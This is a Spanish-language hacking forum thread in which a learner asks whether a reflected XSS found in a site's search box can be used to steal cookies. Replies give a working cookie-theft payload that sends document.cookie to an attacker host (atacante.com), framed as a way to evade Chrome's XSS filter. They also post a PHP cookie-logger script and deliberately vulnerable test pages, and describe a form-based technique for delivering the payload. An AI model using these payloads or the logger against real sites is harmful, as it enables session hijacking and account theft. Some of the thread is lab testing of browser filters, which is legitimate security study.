[SOLUCIONADO] ¿Es posible robar cookies con un XSS Reflejado?

Iniciado por XDA, Enero 30, 2017, 04:41:59 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 30, 2017, 04:41:59 AM Ultima modificación: Enero 31, 2017, 07:07:18 PM por rollth
Hola estoy aprendiendo javascript y un poco de XSS.

ire al punto encontre lo que entiendo es un XSS reflejado en un sitio, tengo entendido que es reflejado ya que esta en un input de busqueda.  Al parecer no se pueden ver los parametros en los links, aun es posible hacer un robo de cookies? o que se puede hacer en un caso asi?

Gracias

Hola,

Lamentablemente no te sirve para el robo de cookies.

Saludos,
ANTRAX


¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
¡Hola!

Efectivamente, como dice ANTRAX, los XSS refljeados no sirven para robar cookies, para eso necesitarías un "stored xss", que es un XSS, solamente que es persistente (precisamente, los stored xss también son llamados persistent xss).

Saludos.

En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Saludos,
ANTRAX


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En realidad el reflejado si sirve para robar cookies. Pero debería ir por GET.. En este caso el script no viaja por la URL, por eso no puede.

Tenés razón, pero en ese caso existiría el problema de que, por ejemplo en Google Chrome, saltaría el filtro anti XSS.

Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

Código: text
<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>


Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX


Enero 30, 2017, 10:21:38 AM #6 Ultima modificación: Enero 30, 2017, 11:16:37 AM por Nobody
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pero para robar una cookie no necesitas que salte el alert. Lo que te frena el filtro de Chrome es el alert. Por ejemplo, el siguiente vector debería funcionarte aunque tengas chrome

Código: text
<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>


Al no tener el alert, no salta el cartel (que es lo que frena chrome) y robas las cookies de igual forma.

Saludos,
ANTRAX

Me dejaste pensando sobre el filtro anti XSS de Chrome, voy a hacer una pruebas y comparto resultados. La verdad que nunca pensé que es lo que filtra realmente ese anti XSS.

Edit: Bueno, después de probar dos diferentes vectores, quedó en conclusión que el filtro Anti XSS de Chrome es bastante más complejo de lo que pensabamos, comparto resultados:


CitarVector: xss.php?color=red"></font><script>window.location='You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login</script><font>

Después de eso pensé que tal vez el filtro Anti XSS filtraba vectores "complejos" o que apuntasen hacia otro dominio, así que intenté con un vector un poco más simple (y con un xss.php más simple aún, para que no hubiese ningún tipo de problemas).


CitarVector: xss.php?str=<h1 onmouseover='document.body.innerHTML = "XSS";'>test</h1>

Otras pruebas que realicé (de las cuales no tengo capturas), en las que Chrome también filtra vectores como " ' onmouseover=...", pero no filtra vectores como "<h1>Underc0de</h1>". En conclusión, filtra todo contenido que pueda ser "malicioso", es decir, todo código JavaScript.

Adjunto los códigos PHP utilizados en el laboratorio, por si alguien quiere hacer sus propias pruebas.

cookie.php
Código: php
<?php
error_reporting(0);
define('ROOTPATH', dirname(__FILE__));
$cookie = $_GET['c'];
$log = fopen(ROOTPATH . "/logs.txt", "a");
$format = "Cookie: %s\n\n";
$print = sprintf($format);
fwrite($log, $print);
fclose($log);
?>


xss.php (imagen uno).
Código: php
<?php

$color = $_GET['color'];
echo "<font color=\"$color\">Hello, world!</font>";

if(!isset($_COOKIE['randcookie']))
{
$random = rand();
setcookie('randcookie', $random);
$_COOKIE['randcookie'] = $random;
echo "<br/><br/>Random cookie does not exist, creating a new one!";
}

?>


xss.php (imagen dos)
Código: php
<?php

$str = $_GET["str"];
print $str;

?>


Para finalizar quiero aclarar que fueron pruebas muy poco elaboradas y estaré intentando evadir el filtro Anti XSS de Chrome por otros métodos, en caso de lograrse, compartiré los resultados.

Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Enero 30, 2017, 12:25:21 PM #7 Ultima modificación: Enero 30, 2017, 12:27:17 PM por rollth
Aunque digan que no, si se puede, yo hice hace tiempo una prueba de concepto aquí en Underc0de, lo que tienes que hacer es con un hosting tuyo preparar un form idéntico al de la página web con una serie de inputs escondidos y sus valores respectivos y otro input escondido con el payload, luego haces que se envíe el form con una imagen y el atributo onload.

Te dejo aquí el link de como lo hice yo.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Luego robarías cookies como en un XSS normal :D

Saludos.
RollthBuen hacker mejor You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login/You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muchas gracias por sus respuestas y aclararme lo del robo de cookies, solo me queda una gran duda, entonces este tipo de XSS se puede decir que en esas condiciones es inutil al atacante o que otro ataque se podria realizar?

Gracias!

Si se podría hacer un robo de cookies a través de un hosting propio y un form, mira el tutorial que te he pasado, solo tendrías que cambiar el alert del xss por tu cookie stealer :D

Saludos.
RollthBuen hacker mejor You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login/You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Enero 30, 2017, 05:05:27 PM #10 Ultima modificación: Enero 30, 2017, 06:04:22 PM por rollth
Y ya que estamos, te recomiendo que te leas los talleres de seguridad web (o al menos el número 1 donde se habla de XSS), cualquier cosa me comentas que los hice yo :P

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Un saludo!